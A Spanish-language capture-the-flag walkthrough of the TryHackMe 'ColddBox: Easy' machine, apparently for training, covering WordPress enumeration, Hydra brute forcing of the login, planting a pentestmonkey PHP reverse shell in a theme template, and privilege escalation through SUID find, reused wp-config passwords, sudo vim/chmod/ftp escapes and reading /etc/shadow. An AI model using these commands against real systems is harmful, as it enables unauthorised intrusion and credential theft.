ColddBox: Easy
Hoy nos adentraremos en el mundo del pentesting enfocado en uno
de los gestores de contenido más utilizados en el mundo:
WordPress, que según W3Techs está presente en más del 40% de
todos los sitios web.
[Link]
Vamos a simular un escenario de caja gris, donde aplicaremos
técnicas reales de enumeración, explotación y múltiples maneras de
escalada de privilegios. Este video es con fines educativos y está
orientado a profesionales y entusiastas de la ciberseguridad que
quieren aprender de manera responsable y ética.
¿Qué aprenderás hoy? Mira esta lista:
1. Enumeración – Nmap SSH y HTTP
2. WordPress 4.1.31 – whatweb y Wappalyzer
3. Enumeración – WPScan
4. Fuerza Bruta – Hydra
5. Reverse Shell – Upload PHP
6. Opción 1 Escalada de Privilegio – LinPEAS o LinEnum o
SUID /usr/bin/find
7. Opción 2 Escalada de Privilegio – Password Re-use wp-
[Link]
8. SUDO – sudo -l /usr/bin/vim
9. SUDO – sudo -l /bin/chmod
10. SUDO – sudo -l /usr/bin/ftp
Enumeración
Vamos hacer un escaneo rápido.
nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn [Link] -oG
allPorts
Vamos usar el parametro -sS es tcp sync port scan es más sigiloso
y menos detectable por firewalls porque el camino de 3 vías (three
way handshake) no se completa (SYN > SYN/ACK > RST).
El parámetro --min--rate que controla el número de paquetes que
se quiere enviar, por ejemplo 5 mil x segundo, ideal para
laboratorios o entornos controlados, pero no para un pentesting
real.
El parámetro -n no resuelve nombres DNS, por lo que acelera el
escaneo para evitar la resolución inversa.
El parámetro -Pn es para evitar descubrimiento de host mediante
resolución de nombres del protocolo ARP.
-oG es para guardar la salida en formato grepable, útil para un
análisis con la herramienta grep.
nmap -p80,4512 [Link] -sCV -oN targeted
-sC, usa los scripts por defecto de Nmap equivalente a --
script=default. Estos scripts pueden detectar versiones de
servicios, páginas web, vulnerabilidades básicas, etc.
Y el -sV intenta detectar la versión de los servicios que están
corriendo en los puertos abiertos.
4512/tcp ssh
Bien, aquí no tenemos un nombre de usuario ni contraseña, por lo
que omitiremos esto y nos dirigiremos al puerto web.
80/tcp http
Como vemos en la enumeración, encontramos que el puerto 80
está abierto y que se está ejecutando el servidor Apache httpd
2.4.18. También podemos ver que en el sitio web se está
ejecutando WordPress y es una versión antigua 4.1.31.
Ahora, revisemos el sitio web en el navegador. El sitio web parece
normal. Nada extraño. Solo vemos el nombre " C0ldd ", el
diseñador de esta máquina. También en la sección inferior
izquierda hay un inicio de sesión.
Ejecutemos Gobuster para encontrar directorios ocultos.
gobuster dir -u [Link]
--wordlist=/usr/share/wordlists/dirbuster/[Link]
-x html,css,js,txt,php,xml,sql:
Extensiones de archivos a probar. Gobuster intentará
encontrar, por ejemplo: [Link], [Link], [Link], [Link].
gobuster dir -u [Link]
--wordlist=/usr/share/wordlists/dirbuster/[Link] -x
html,css,js,txt,php,xml,sql
Vemos algunos directorios interesantes como:
/hidden
/wp-admin
Vamos a revisarlos. En el directorio “/hidden” encontramos un
texto con dos nombres: 'Hugo' y 'Philip '.
Entonces, ya podemos indicar que hay 3 personas: Coldd, Hugo y
Philip.
En el directorio "/wp-admin" que hemos encontrado probamos con
algunas credenciales predeterminadas.
WPScan
Ahora, vamos a escanear WordPress con una herramienta muy
utilizada por hackers y pentesters y también lo usan en bug
bounty. Es la herramienta wpscan.
Como estamos ejecutando una versión antigua de wordpress
vamos a enumerar usuarios con wpscan.
wpscan --url http:// [Link] -eu
Bien, entonces tenemos algunos usuarios que revisar, pero se
detectaron plugin o temas vulnerables.
cold
c0ldd
hugo
philip
Ahora intentemos obtener la contraseña del usuario mediante
fuerza bruta puede ser con wpscan o Hydra.
Fuerza bruta de Hydra Wordpress
Bien, entonces probemos el [Link] o 10-million-password-list-
[Link] contra los usuarios anteriores.
hydra -L wpusers -P /usr/share/wordlists/[Link] [Link] -
V http-form-post '/[Link]:log=^USER^&pwd=^PASS^&wp-
submit=Log In&testcookie=1:S=Location'
wpscan -- url http:// [Link]/ -- passwords
/usr/share/wordlists/[Link] -- usernames c0ldd,hugo,philip
wpscan --url [Link] --passwords [Link]
Personalmente, uso /usr/share/seclists/Passwords/Common-
Credentials/[Link] para
descifrarla.
Bien hemos tenido éxito ya que tenemos la contraseña de c0ld.
¡Genial! Vamos a iniciar sesión en WordPress.
Ganando Punto de Apoyo:
Vamos a revisar primero la sección user para ver que
encontramos, podemos ver que somos administradores.
Shell remoto
Echando un vistazo rápido no hay publicaciones ni páginas
interesantes, entonces vamos hacer un truco habitual de cargar
un reverse shell php como plugin.
Vamos a "Apariencia", en la pestaña "Editor", podemos editar e
incluso añadir documentos y páginas en WordPress.
Opción 1: Appearance->Editor->Select 404 Template
Podemos ver que es código PHP en el editor. Entonces esto
debemos reemplazarlo con el código php-reverse-shell
de pentestmonkey
[Link]
[Link].
Cambia la IP a tu dirección IP de TryHackMe. Consulta la imagen a
continuación como referencia.
Actualice el archivo y salga del panel de control y vaya al sitio del
blog.
Ahora para obtener el código de error 404 y ejecutar el shell PHP,
debemos acceder al blog, que no está presente en el sitio. Antes
de eso primero debemos ponernos en escucha por el puerto 4444.
nc -lvnp 4444
Para acceder a la página de error 404, hacemo clic en el primer
blog titulado “The Colddbox is here”
Revisamos la URL. Puedes ver que hay un parámetro "p=" que
apunta al blog actual. Ahora solo necesitas cambiar el parámetro a
cualquier número aleatorio p=5+5 y presionar Enter.
Una vez que completemos el proceso, deberíamos recibir una
devolución de llamada. Y ahora ya tenemos acceso a la Shell del
usuario www-data
Vamos hacer algo habitual para conseguir una shell más cómoda
ya que no podemos desplazarnos con las teclas hacia arriba, hacia
abajo, no podemos limpiar, no podemos borrar comandos, no
podemos hacer control+c.
Tratamiento de la TTY
Paso 1: $ script /dev/null -c bash
Paso 2: Control Z
Paso 3: stty raw -echo; fg (presionar enter)
Paso 4: reset (para reiniciar la configuración de la terminal)
Paso 5: xterm (operamos con un tipo de terminal xterm)
Paso 6: export TERM=xterm (exportamos variable de entorno)
Paso 7: export SHELL=bash (exportamos variable de entorno)
Paso 8: Ahora ya podemos usar control+c, subir, bajar, izquierda,
derecha.
En maquina atacante ver el total de las dimensiones de la terminal
Paso 9: stty size
Paso 10: stty rows XX columns YY (esto va en la conexión
establecida con la victima)
Entonces obtendrás un shell mejorado.
Opción 2: "[Link]"
Modificamos con el código de pentest-monkey. Editamos el código
y configura tu IP y puerto. Después, actualiza el archivo del nuevo
[Link].
Nos ponemos en escucha por el puerto configurado con Netcat:
nc-lnvp 1234
Luego, visita la URL que editamos.
[Link]
[Link]
Notarás que tenemos una shell.
Más enumeración:
Ahora vamos a enumerar más para encontrar una forma de escalar
los privilegios.
Método n.° 1 /usr/bin/find
Usar [Link] o [Link] o find / -perm -u=s 2>/dev/null
y ver qué podemos encontrar.
chmod +x [Link]
Lo primero que salta a la vista como salida es /usr/bin/find
debajo SUID....
Echando un vistazo a GTFOBins ....
[Link]
Así que vamos a intentarlo.
/usr/bin/find . -exec /bin/bash -p \; -quit
Bien, entonces nuestra identificación de usuario efectiva es root
así que tomemos las banderas.
Método n.° 2: reutilización de contraseñas
Vamos a buscar de manera recursivamente la cadena "c0ldd" en
todos los archivos del sistema, y omitimos los errores de permisos
que normalmente mostraría grep.
grep -Hrn “c0ldd” / 2>/dev/null
o también sabes que hay un sitio de WordPress en ejecución. Ve a
/var/www/html y revisa los archivos. Revisa aquellos que
consideres que contengan información importante. Hay un archivo
con credenciales en texto plano.
Necesita el archivo '[Link]'. Léalo y obtendrá las
credenciales para la base de datos MySQL.
No se puede acceder a la base de datos MySQL con el usuario
actual.
mysql -u <usuario> -p
Sin embargo, es muy probable que la contraseña de MySQL y la de
inicio de sesión del usuario coincidan. Intente iniciar sesión con el
usuario c0ldd.
su c0ldd
Escalada de privilegios a través de usuario c0ldd:
Ahora podemos escalar privilegios a través de este usuario.
Intentamos comprobar los permisos de sudo del usuario c0ldd.
Echemos un vistazo si podemos ejecutar algo como sudo
sudo –l
¡Genial! Podemos escalar privilegios con varios comandos.
Bueno, entonces tenemos algunos comandos que podemos
ejecutar como root...
VIM
Ejecute sudo vim en la terminal, ingrese la contraseña para el
usuario c0ldd.
[Link]
sudo vim -c ':!/bin/sh'
CHMOD
Con "sudo chmod" puedes cambiar los permisos de cualquier
directorio o archivo y acceder a él.
[Link]
sudo chmod -R 755; cat /etc/shadow
FTP
Todo lo que necesitas hacer es esto…
[Link]
sudo ftp
ftp> !/bin/bash
Eso es todo. Aunque puede haber más formas de escalar los
privilegios. Aquí todo están en tu curiosidad, tu intuición.